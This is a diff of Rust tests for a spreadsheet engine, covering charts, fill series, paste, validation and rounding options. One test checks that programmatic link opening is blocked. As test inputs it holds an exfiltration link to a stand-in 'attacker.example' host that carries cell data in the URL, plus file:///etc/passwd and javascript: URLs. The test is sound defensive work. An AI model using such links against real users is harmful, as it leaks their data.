||||
+543
-1
@@ -3130,7 +3130,7 @@ fn calculation_options_enable_iterative_calculation() {
|
||||
assert!(!s.doc().unwrap().calc.circular.is_empty());
|
||||
// Switching it on recalculates the loop.
|
||||
let r = s.execute("formulas.calculationOptions", json!({"iterative": true})).unwrap();
|
||||
assert_eq!(r, json!({"mode": "Automatic", "iterative": true, "maxIterations": 100, "maxChange": 0.001}));
|
||||
assert_eq!(r, json!({"mode": "Automatic", "iterative": true, "maxIterations": 100, "maxChange": 0.001, "precisionAsDisplayed": false}));
|
||||
near(&s, "A1", 10.0);
|
||||
near(&s, "A2", 10.0);
|
||||
assert!(s.doc().unwrap().calc.circular.is_empty());
|
||||
@@ -3237,6 +3237,21 @@ fn every_chart_kind_survives_xlsx() {
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn chart_set_doughnut_hole_and_angle() {
|
||||
let mut s = s();
|
||||
chart_data(&mut s);
|
||||
s.execute("insert.chart", json!({"type": "doughnut", "range": "A1:B7"})).unwrap();
|
||||
s.execute("chart.set", json!({"holeSize": 5, "firstSliceAngle": 400})).unwrap();
|
||||
s.execute("chart.set", json!({"holeSize": 200})).unwrap();
|
||||
let c = s.doc().unwrap().wb.active().unwrap().charts[0].clone();
|
||||
assert_eq!((c.hole_size, c.first_slice_angle), (90, 40));
|
||||
s.execute("chart.set", json!({"holeSize": 25, "firstSliceAngle": 180})).unwrap();
|
||||
reopen(&mut s);
|
||||
let c = &s.doc().unwrap().wb.active().unwrap().charts[0];
|
||||
assert_eq!((c.kind, c.hole_size, c.first_slice_angle), (gridcraft_model::ChartKind::Doughnut, 25, 180));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn scatter_of_two_columns_is_one_series_with_the_first_as_x() {
|
||||
let mut s = s();
|
||||
@@ -3975,6 +3990,24 @@ fn fill_series_weekday_out_of_range_step_errors() {
|
||||
assert_eq!(v(&s, "A2"), Value::Empty);
|
||||
}
|
||||
|
||||
/// A step of a million weekdays moves whole weeks at a time instead of visiting every day, and
|
||||
/// lands where counting day by day would.
|
||||
#[test]
|
||||
fn fill_series_weekday_large_step_is_arithmetic() {
|
||||
let mut s = s();
|
||||
// 45005 is Monday 20 March 2023; five weekdays on from a Monday is the next Monday.
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "45005"})).unwrap();
|
||||
s.execute("edit.fillSeries", json!({"range": "A1:A3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": 1_000_000}))
|
||||
.unwrap();
|
||||
assert_eq!(v(&s, "A2"), Value::Number(45005.0 + 1_400_000.0));
|
||||
assert_eq!(v(&s, "A3"), Value::Number(45005.0 + 2_800_000.0));
|
||||
s.execute("cell.set", json!({"cell": "B1", "input": "45009"})).unwrap();
|
||||
s.execute("edit.fillSeries", json!({"range": "B1:B3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": -1})).unwrap();
|
||||
// Friday 24 March 2023 back one weekday at a time: Thursday, Wednesday.
|
||||
assert_eq!(v(&s, "B2"), Value::Number(45008.0));
|
||||
assert_eq!(v(&s, "B3"), Value::Number(45007.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fill_series_month_leap_year() {
|
||||
let s = series_date("2028-01-31", "A1:A3", "month");
|
||||
@@ -4137,6 +4170,25 @@ fn a_cut_moves_the_sources_notes_hyperlinks_and_merges() {
|
||||
assert!(v(&s, "A1").is_empty() && v(&s, "B1").is_empty());
|
||||
}
|
||||
|
||||
/// A cell that holds only a hyperlink (its content cleared) is still part of the block: a
|
||||
/// cut must carry the link to the destination instead of dropping it with the source.
|
||||
#[test]
|
||||
fn a_cut_carries_a_link_only_cell() {
|
||||
let mut s = s();
|
||||
s.execute("insert.link", json!({"cell": "A1", "target": "https://example.com"})).unwrap();
|
||||
let a1 = CellRef::parse("A1").unwrap();
|
||||
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
|
||||
sh.remove_cell(a1);
|
||||
assert!(sh.cell(a1).is_none(), "A1 holds only the link");
|
||||
s.execute("edit.cut", json!({"range": "A1:B1"})).unwrap();
|
||||
s.execute("edit.paste", json!({"at": "D1"})).unwrap();
|
||||
|
||||
let d = s.doc().unwrap();
|
||||
let sh = d.wb.active().unwrap();
|
||||
assert!(!sh.hyperlinks.contains_key(&CellRef::parse("A1").unwrap()), "the link left the source");
|
||||
assert!(sh.hyperlinks.contains_key(&CellRef::parse("D1").unwrap()), "the link arrived at the destination");
|
||||
}
|
||||
|
||||
/// Page Layout ▸ Print Titles: naming one axis must not clear the other. `print_titles` read
|
||||
/// both `rows` and `cols` into `Option`s and assigned both unconditionally, so
|
||||
/// `{"rows":"2:2"}` silently dropped the repeated columns from every printed page.
|
||||
@@ -4662,12 +4714,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() {
|
||||
}
|
||||
assert!(s.execute("link.open", json!({"cell": "A1"})).is_err());
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
// A host's `Allow` policy opens web and e-mail addresses directly, and nothing else.
|
||||
s.link_policy = crate::links::LinkPolicy::Allow;
|
||||
for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] {
|
||||
assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}");
|
||||
}
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap();
|
||||
assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]);
|
||||
s.execute("link.open", json!({"url": "B2"})).unwrap();
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
}
|
||||
|
||||
/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it
|
||||
/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=<cell data>`)
|
||||
/// and asks for no dialog either; only the host's confirmed path opens one.
|
||||
#[test]
|
||||
fn programmatic_link_open_never_opens_an_external_address_without_confirmation() {
|
||||
let mut s = s();
|
||||
assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default");
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap();
|
||||
s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap();
|
||||
s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap();
|
||||
s.take_ui_requests();
|
||||
for p in [
|
||||
json!({"url": "https://attacker.example/?d=secret"}),
|
||||
json!({"url": "http://attacker.example"}),
|
||||
json!({"target": "MAILTO:x@attacker.example"}),
|
||||
json!({"cell": "B1"}),
|
||||
json!({"cell": "C1"}),
|
||||
] {
|
||||
let e = s.execute("link.open", p.clone()).unwrap_err().to_string();
|
||||
assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}");
|
||||
}
|
||||
assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller");
|
||||
assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err());
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
// References still navigate.
|
||||
s.execute("link.open", json!({"url": "A1"})).unwrap();
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
|
||||
// The host's confirmed path opens the allowed address, and still refuses every other scheme.
|
||||
assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"}));
|
||||
assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]);
|
||||
for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] {
|
||||
assert!(s.open_confirmed_link(url).is_err(), "{url:?}");
|
||||
}
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
s.open_confirmed_link("Sheet1!C3").unwrap();
|
||||
assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() {
|
||||
let mut s = s();
|
||||
@@ -4713,6 +4810,180 @@ fn paste_special_validation_moves_relative_references() {
|
||||
assert!(ok(&mut s, "C3", "20"));
|
||||
}
|
||||
|
||||
/// "Set precision as displayed" (formulas.calculationOptions `precisionAsDisplayed`). Behaviour
|
||||
/// observed in Excel through COM with synthetic values: turning it on rounds existing constants
|
||||
/// and formulas to their formats; constants typed or reformatted while it is on are rounded at
|
||||
/// once (permanently: a wider format later doesn't bring digits back); General keeps full
|
||||
/// precision; turning it off restores formulas on recalculation, not constants.
|
||||
#[test]
|
||||
fn precision_as_displayed_option() {
|
||||
let mut s = s();
|
||||
let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "1.23456"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "A2", "input": "=A1*100"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "A3", "input": "=7/3"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "A4", "input": "0.333333333333333"})).unwrap();
|
||||
s.execute("home.numberFormat", json!({"range": "A1", "code": "0.00"})).unwrap();
|
||||
s.execute("home.numberFormat", json!({"range": "A3", "code": "0"})).unwrap();
|
||||
assert_eq!((num(&s, "A1"), num(&s, "A3")), (1.23456, 7.0 / 3.0));
|
||||
let r = s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
|
||||
assert_eq!(r["precisionAsDisplayed"], true);
|
||||
assert_eq!((num(&s, "A1"), num(&s, "A2"), num(&s, "A3"), num(&s, "A4")), (1.23, 123.0, 2.0, 0.333333333333333));
|
||||
let r = s.execute("file.options", json!({})).unwrap();
|
||||
assert_eq!(r["calculation"]["precisionAsDisplayed"], true);
|
||||
// Typed while on: rounded to the cell's format, and dependents read the rounded value.
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "4.56789"})).unwrap();
|
||||
assert_eq!((num(&s, "A1"), num(&s, "A2")), (4.57, 457.0));
|
||||
s.execute("range.setValues", json!({"range": "A1", "values": [[5.43219]]})).unwrap();
|
||||
assert_eq!(num(&s, "A1"), 5.43);
|
||||
// Reformatting while on rounds a constant and a formula at once.
|
||||
s.execute("cell.set", json!({"cell": "B1", "input": "1.23456"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "B2", "input": "=1.23456"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "B3", "input": "=B1*100"})).unwrap();
|
||||
assert_eq!(num(&s, "B1"), 1.23456);
|
||||
s.execute("home.numberFormat", json!({"range": "B1:B2", "code": "0.0"})).unwrap();
|
||||
assert_eq!((num(&s, "B1"), num(&s, "B2"), num(&s, "B3")), (1.2, 1.2, 120.0));
|
||||
// The constant's digits are gone for good; the formula is rounded again from its result.
|
||||
s.execute("home.numberFormat", json!({"range": "B1:B2", "code": "0.0000"})).unwrap();
|
||||
assert_eq!((num(&s, "B1"), num(&s, "B2")), (1.2, 1.2346));
|
||||
// Undo brings the unrounded constant back.
|
||||
s.execute("edit.undo", json!({})).unwrap();
|
||||
s.execute("edit.undo", json!({})).unwrap();
|
||||
assert_eq!(num(&s, "B1"), 1.23456);
|
||||
// Saved with the workbook, and applied on recalculation after reopening.
|
||||
reopen(&mut s);
|
||||
assert!(s.doc().unwrap().wb.calc.precision_as_displayed);
|
||||
assert_eq!(num(&s, "A3"), 2.0);
|
||||
// Off: formulas get their full precision back, constants stay rounded.
|
||||
s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": false})).unwrap();
|
||||
assert_eq!((num(&s, "A1"), num(&s, "A3")), (5.43, 7.0 / 3.0));
|
||||
}
|
||||
|
||||
/// Reformatting a cell a dynamic array spills into rounds that element as displayed: the cell
|
||||
/// holds no stored value (the spill lives in `Sheet::spill`), so the edit changes only its
|
||||
/// style, and the anchor must be recalculated for the element to be rounded.
|
||||
#[test]
|
||||
fn precision_as_displayed_rounds_a_reformatted_spill_cell() {
|
||||
let mut s = s();
|
||||
let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
|
||||
s.execute("cell.set", json!({"cell": "F1", "input": "=SEQUENCE(3,1,0.123,0.111)"})).unwrap();
|
||||
s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "G1", "input": "=SUM(F1:F3)"})).unwrap();
|
||||
let (f2, f3) = (0.123 + 0.111, 0.123 + 0.111 * 2.0);
|
||||
assert_eq!((num(&s, "F1"), num(&s, "F2"), num(&s, "F3")), (0.123, f2, f3));
|
||||
// Formatting a spill destination (the anchor is not in the edit) rounds just that element.
|
||||
s.execute("home.numberFormat", json!({"range": "F2", "code": "0.0"})).unwrap();
|
||||
assert_eq!((num(&s, "F1"), num(&s, "F2"), num(&s, "F3")), (0.123, 0.2, f3));
|
||||
assert_eq!(num(&s, "G1"), 0.123 + 0.2 + f3);
|
||||
// A range covering anchor and spill, and a whole column, round every element.
|
||||
s.execute("home.numberFormat", json!({"range": "F:F", "code": "0.00"})).unwrap();
|
||||
assert_eq!((num(&s, "F1"), num(&s, "F2"), num(&s, "F3")), (0.12, 0.23, 0.35));
|
||||
assert_eq!(num(&s, "G1"), 0.12 + 0.23 + 0.35);
|
||||
// Formatting a cell that no spill covers changes nothing.
|
||||
s.execute("home.numberFormat", json!({"range": "F4", "code": "0.0"})).unwrap();
|
||||
assert_eq!(num(&s, "F3"), 0.35);
|
||||
}
|
||||
#[test]
|
||||
fn precision_as_displayed_enable_undoes_in_one_step() {
|
||||
let mut s = s();
|
||||
let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "1.23456"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "A2", "input": "=A1*100"})).unwrap();
|
||||
s.execute("home.numberFormat", json!({"range": "A1", "code": "0.00"})).unwrap();
|
||||
s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
|
||||
assert_eq!((num(&s, "A1"), num(&s, "A2")), (1.23, 123.0));
|
||||
// One undo brings back the constants and the flag together.
|
||||
s.execute("edit.undo", json!({})).unwrap();
|
||||
assert!(!s.doc().unwrap().wb.calc.precision_as_displayed);
|
||||
assert_eq!((num(&s, "A1"), num(&s, "A2")), (1.23456, 1.23456 * 100.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn precision_as_displayed_applies_in_manual_mode() {
|
||||
let mut s = s();
|
||||
let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "1.23456"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "A2", "input": "=A1*100"})).unwrap();
|
||||
s.execute("home.numberFormat", json!({"range": "A1", "code": "0.00"})).unwrap();
|
||||
s.execute("formulas.calculationOptions", json!({"mode": "manual"})).unwrap();
|
||||
// Turning it on rounds the values at once, without a calculation.
|
||||
s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
|
||||
assert_eq!((num(&s, "A1"), num(&s, "A2")), (1.23, 123.0));
|
||||
// Turning it off recalculates at once too: the formula reads the rounded constant.
|
||||
s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": false})).unwrap();
|
||||
assert_eq!((num(&s, "A1"), num(&s, "A2")), (1.23, 1.23 * 100.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn precision_as_displayed_on_a_protected_sheet_keeps_locked_constants() {
|
||||
let mut s = s();
|
||||
let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "1.23456"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "A2", "input": "=A1*100"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "B1", "input": "1.23456"})).unwrap();
|
||||
s.execute("home.numberFormat", json!({"range": "A1:B1", "code": "0.00"})).unwrap();
|
||||
s.execute("home.lockCell", json!({"range": "B1", "on": false})).unwrap();
|
||||
s.execute("review.protectSheet", json!({})).unwrap();
|
||||
// Turning the option on is not refused: the locked constant keeps its digits, the unlocked
|
||||
// one is rounded.
|
||||
s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
|
||||
assert!(s.doc().unwrap().wb.calc.precision_as_displayed);
|
||||
assert_eq!((num(&s, "A1"), num(&s, "B1"), num(&s, "A2")), (1.23456, 1.23, 1.23456 * 100.0));
|
||||
// Reformatting a locked constant, on a sheet that allows formatting, keeps its digits too.
|
||||
s.execute("review.unprotectSheet", json!({})).unwrap();
|
||||
s.execute("review.protectSheet", json!({"formatCells": true})).unwrap();
|
||||
s.execute("home.numberFormat", json!({"range": "A1", "code": "0.0"})).unwrap();
|
||||
assert_eq!(num(&s, "A1"), 1.23456);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn precision_as_displayed_rounds_a_legacy_array_by_each_cell() {
|
||||
let mut s = s();
|
||||
let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
|
||||
s.execute("range.setValues", json!({"range": "A1", "values": [[1], [2]]})).unwrap();
|
||||
s.execute("home.numberFormat", json!({"range": "B1", "code": "0.00"})).unwrap();
|
||||
s.execute("home.numberFormat", json!({"range": "B2", "code": "0.0"})).unwrap();
|
||||
s.execute("selection.set", json!({"range": "B1:B2"})).unwrap();
|
||||
s.execute("cell.set", json!({"input": "=A1:A2/3", "array": true})).unwrap();
|
||||
assert_eq!((num(&s, "B1"), num(&s, "B2")), (1.0 / 3.0, 2.0 / 3.0));
|
||||
// Each element takes the format of the cell it lands in.
|
||||
s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
|
||||
assert_eq!((num(&s, "B1"), num(&s, "B2")), (0.33, 0.7));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn precision_as_displayed_rounds_numbers_written_to_a_new_sheet() {
|
||||
let mut s = s();
|
||||
s.execute("range.setValues", json!({"range": "A1", "values": [[1], [2], [4], [7], [3], [5]]})).unwrap();
|
||||
// Histogram output on a new sheet, with the option off, keeps full precision.
|
||||
s.execute("data.analysisToolPak", json!({"tool": "histogram", "range": "Sheet1!A1:A6", "cumulative": true, "newSheet": "Raw"})).unwrap();
|
||||
let raw: Vec<(CellRef, f64)> = {
|
||||
let d = s.doc().unwrap();
|
||||
let sh = d.wb.sheet(d.wb.sheet_index("Raw").unwrap()).unwrap();
|
||||
sh.cells
|
||||
.iter()
|
||||
.filter_map(|(c, cell)| match cell.value {
|
||||
Value::Number(n) if cell.formula.is_none() => Some((c, n)),
|
||||
_ => None,
|
||||
})
|
||||
.collect()
|
||||
};
|
||||
s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
|
||||
s.execute("data.analysisToolPak", json!({"tool": "histogram", "range": "Sheet1!A1:A6", "cumulative": true, "newSheet": "Rounded"})).unwrap();
|
||||
let d = s.doc().unwrap();
|
||||
let si = d.wb.sheet_index("Rounded").unwrap();
|
||||
let sh = d.wb.sheet(si).unwrap();
|
||||
let mut prec = gridcraft_calc::DisplayedPrecision::new();
|
||||
let mut rounded = 0;
|
||||
for (c, n) in &raw {
|
||||
let want = prec.round(&d.wb, si, *c, *n);
|
||||
assert_eq!(sh.value(*c), Value::Number(want), "{c:?}");
|
||||
rounded += usize::from(want != *n);
|
||||
}
|
||||
// Cumulative shares of six values are sixths, which the percent format rounds.
|
||||
assert!(rounded > 0, "the histogram's formatted cells should be rounded");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn editing_quote_prefixed_text_keeps_it_text() {
|
||||
let mut s = s();
|
||||
@@ -4762,6 +5033,217 @@ fn csv_as_text_keeps_identifier_columns_as_written() {
|
||||
assert_eq!(crate::io::base64_decode(saved["base64"].as_str().unwrap()).unwrap(), csv.replace('\n', "\r\n").as_bytes());
|
||||
}
|
||||
|
||||
fn validation_areas(s: &Session) -> Vec<String> {
|
||||
let sh = s.doc().unwrap().wb.active().unwrap();
|
||||
let mut out: Vec<String> = sh.validations.iter().map(|dv| dv.ranges.iter().map(|r| r.a1()).collect::<Vec<_>>().join(" ")).collect();
|
||||
out.sort();
|
||||
out
|
||||
}
|
||||
|
||||
/// ft-3ir.10.16: pasting whole columns walked every one of their 1,048,576 rows and added one
|
||||
/// single-cell validation rule per pasted cell, re-cutting every rule each time (the fuzz run
|
||||
/// aborted on a 34 GB allocation). Validation now pastes as ranges and only cells that hold
|
||||
/// something are visited.
|
||||
#[test]
|
||||
fn whole_column_paste_with_validation_works_on_ranges() {
|
||||
let mut s = s();
|
||||
let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true;
|
||||
s.execute("cell.set", json!({"cell": "C1", "input": "1"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "D1048576", "input": "2"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "F100", "input": "old"})).unwrap();
|
||||
s.execute("data.validation", json!({"range": "C:C", "type": "whole", "operator": "greater", "formula1": "0"})).unwrap();
|
||||
s.execute("data.validation", json!({"range": "F:H", "type": "list", "formula1": "\"a,b\""})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "C:D"})).unwrap();
|
||||
s.execute("edit.paste", json!({"at": "F1"})).unwrap();
|
||||
assert_eq!(v(&s, "F1"), Value::Number(1.0));
|
||||
assert_eq!(v(&s, "G1048576"), Value::Number(2.0));
|
||||
assert_eq!(v(&s, "F100"), Value::Empty, "the whole column is replaced, below the copied text too");
|
||||
// One rule per copied rule, over whole columns; G (D had no rule) has none; H keeps the list.
|
||||
assert_eq!(validation_areas(&s), ["C:C", "F:F", "H:H"]);
|
||||
assert!(!ok(&mut s, "F500", "-1"));
|
||||
assert!(ok(&mut s, "G500", "anything"));
|
||||
assert!(!ok(&mut s, "H500", "c"));
|
||||
assert_eq!(s.doc().unwrap().selection.a1(), "F:G");
|
||||
// Undo gives the list back over F:H.
|
||||
s.execute("edit.undo", json!({})).unwrap();
|
||||
assert_eq!(validation_areas(&s), ["C:C", "F:H"]);
|
||||
assert_eq!(v(&s, "F100"), Value::Text("old".into()));
|
||||
}
|
||||
|
||||
/// Paste Link of whole columns links the cells the columns hold, wherever they start.
|
||||
#[test]
|
||||
fn paste_link_of_whole_columns_links_the_used_rows() {
|
||||
let mut s = s();
|
||||
s.execute("cell.set", json!({"cell": "C5", "input": "1"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "C6", "input": "2"})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "C:C"})).unwrap();
|
||||
s.execute("edit.pasteSpecial", json!({"what": "all", "link": true, "at": "F1"})).unwrap();
|
||||
assert_eq!(v(&s, "F1"), Value::Number(0.0), "a link to a blank cell reads 0");
|
||||
assert_eq!(v(&s, "F5"), Value::Number(1.0));
|
||||
assert_eq!(v(&s, "F6"), Value::Number(2.0));
|
||||
assert_eq!(s.execute("cell.get", json!({"cell": "F5"})).unwrap()["input"], json!("=C5"));
|
||||
}
|
||||
|
||||
/// A transposed paste clears the destination cells that line up with blank source cells.
|
||||
#[test]
|
||||
fn transposed_paste_clears_destination_cells_under_blank_source_cells() {
|
||||
let mut s = s();
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "1"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "A2", "input": "3"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "B2", "input": "4"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "E2", "input": "old"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "F1", "input": "older"})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "A1:B2"})).unwrap();
|
||||
s.execute("edit.pasteSpecial", json!({"what": "all", "transpose": true, "at": "E1"})).unwrap();
|
||||
assert_eq!(v(&s, "E1"), Value::Number(1.0));
|
||||
assert_eq!(v(&s, "E2"), Value::Empty, "B1 was blank");
|
||||
assert_eq!(v(&s, "F1"), Value::Number(3.0));
|
||||
assert_eq!(v(&s, "F2"), Value::Number(4.0));
|
||||
}
|
||||
|
||||
/// A copy tiled over a larger selection clears the non-blank destination cells under its blanks,
|
||||
/// in every tile.
|
||||
#[test]
|
||||
fn tiled_paste_clears_destination_cells_under_blank_source_cells() {
|
||||
let mut s = s();
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "1"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "C2", "input": "x"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "C4", "input": "y"})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "A1:A2"})).unwrap();
|
||||
s.execute("selection.set", json!({"range": "C1:C4"})).unwrap();
|
||||
s.execute("edit.paste", json!({})).unwrap();
|
||||
assert_eq!(v(&s, "C1"), Value::Number(1.0));
|
||||
assert_eq!(v(&s, "C2"), Value::Empty);
|
||||
assert_eq!(v(&s, "C3"), Value::Number(1.0));
|
||||
assert_eq!(v(&s, "C4"), Value::Empty);
|
||||
}
|
||||
|
||||
/// Excel refuses a paste that would run off the sheet rather than pasting part of it: whole
|
||||
/// columns below row 1, whole rows right of column A, a whole column transposed, or a block at
|
||||
/// the last row or column.
|
||||
#[test]
|
||||
fn paste_that_does_not_fit_on_the_sheet_is_refused() {
|
||||
let mut s = s();
|
||||
s.execute("range.setValues", json!({"range": "C1", "values": [[1, 2], [3, 4]]})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "A15", "input": "x"})).unwrap();
|
||||
let before = s.doc().unwrap().wb.clone();
|
||||
s.execute("edit.copy", json!({"range": "C:D"})).unwrap();
|
||||
assert!(s.execute("edit.paste", json!({"at": "B8"})).is_err());
|
||||
assert!(s.execute("edit.pasteSpecial", json!({"what": "all", "transpose": true, "at": "A1"})).is_err());
|
||||
s.execute("edit.copy", json!({"range": "15:15"})).unwrap();
|
||||
assert!(s.execute("edit.paste", json!({"at": "AN17"})).is_err());
|
||||
s.execute("edit.copy", json!({"range": "C1:D2"})).unwrap();
|
||||
assert!(s.execute("edit.paste", json!({"at": "XFD1"})).is_err());
|
||||
assert!(s.execute("edit.paste", json!({"at": "A1048576"})).is_err());
|
||||
s.execute("edit.cut", json!({"range": "C1:D2"})).unwrap();
|
||||
assert!(s.execute("edit.paste", json!({"at": "XFD1"})).is_err());
|
||||
let after = s.doc().unwrap().wb.clone();
|
||||
assert_eq!(after.active().unwrap().cells.len(), before.active().unwrap().cells.len());
|
||||
assert_eq!(v(&s, "C1"), Value::Number(1.0));
|
||||
// Whole rows still paste at column A, whole columns at row 1.
|
||||
s.execute("edit.copy", json!({"range": "15:15"})).unwrap();
|
||||
s.execute("edit.paste", json!({"at": "A20"})).unwrap();
|
||||
assert_eq!(v(&s, "A20"), Value::Text("x".into()));
|
||||
}
|
||||
|
||||
/// Paste visits only cells that hold something on either side: a blank copied cell still clears
|
||||
/// (or reformats) a destination cell that holds something, and blank onto blank stays blank, even
|
||||
/// with an operation (Excel leaves it empty rather than writing 0).
|
||||
#[test]
|
||||
fn paste_blank_cells_clear_destination_and_blank_onto_blank_stays_blank() {
|
||||
let mut s = s();
|
||||
let has_cell = |s: &Session, a: &str| s.doc().unwrap().wb.active().unwrap().cell(CellRef::parse(a).unwrap()).is_some();
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "5"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "D2", "input": "7"})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "A1:A3"})).unwrap();
|
||||
s.execute("edit.pasteSpecial", json!({"what": "values", "operation": "add", "at": "D1"})).unwrap();
|
||||
assert_eq!(v(&s, "D1"), Value::Number(5.0));
|
||||
assert_eq!(v(&s, "D2"), Value::Number(7.0));
|
||||
assert!(!has_cell(&s, "D3"), "blank + blank stays blank");
|
||||
s.execute("cell.set", json!({"cell": "F2", "input": "old"})).unwrap();
|
||||
s.execute("edit.paste", json!({"at": "F1"})).unwrap();
|
||||
assert_eq!(v(&s, "F1"), Value::Number(5.0));
|
||||
assert!(!has_cell(&s, "F2"), "a blank copied cell clears the destination");
|
||||
s.execute("home.bold", json!({"range": "H2"})).unwrap();
|
||||
assert!(has_cell(&s, "H2"));
|
||||
s.execute("edit.pasteSpecial", json!({"what": "formats", "at": "H1"})).unwrap();
|
||||
assert!(!has_cell(&s, "H2"), "a blank copied cell's format replaces the bold");
|
||||
}
|
||||
|
||||
/// Validation pastes over the whole pasted area (a blank copied cell's rule included, as Excel
|
||||
/// does), and cuts only the pasted cells out of a rule the block lands inside.
|
||||
#[test]
|
||||
fn paste_validation_covers_the_pasted_area_as_ranges() {
|
||||
let mut s = s();
|
||||
let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true;
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "5"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "A3", "input": "6"})).unwrap();
|
||||
s.execute("data.validation", json!({"range": "A1:A3", "type": "whole", "operator": "greater", "formula1": "0"})).unwrap();
|
||||
s.execute("data.validation", json!({"range": "D1:D3", "type": "list", "formula1": "\"x,y\""})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "A1:A3"})).unwrap();
|
||||
s.execute("edit.pasteSpecial", json!({"what": "all", "skipBlanks": true, "at": "D1"})).unwrap();
|
||||
assert!(!ok(&mut s, "D2", "-1"), "the blank copied cell's rule is pasted too");
|
||||
assert!(ok(&mut s, "D2", "3"));
|
||||
assert_eq!(validation_areas(&s), ["A1:A3", "D1:D3"]);
|
||||
|
||||
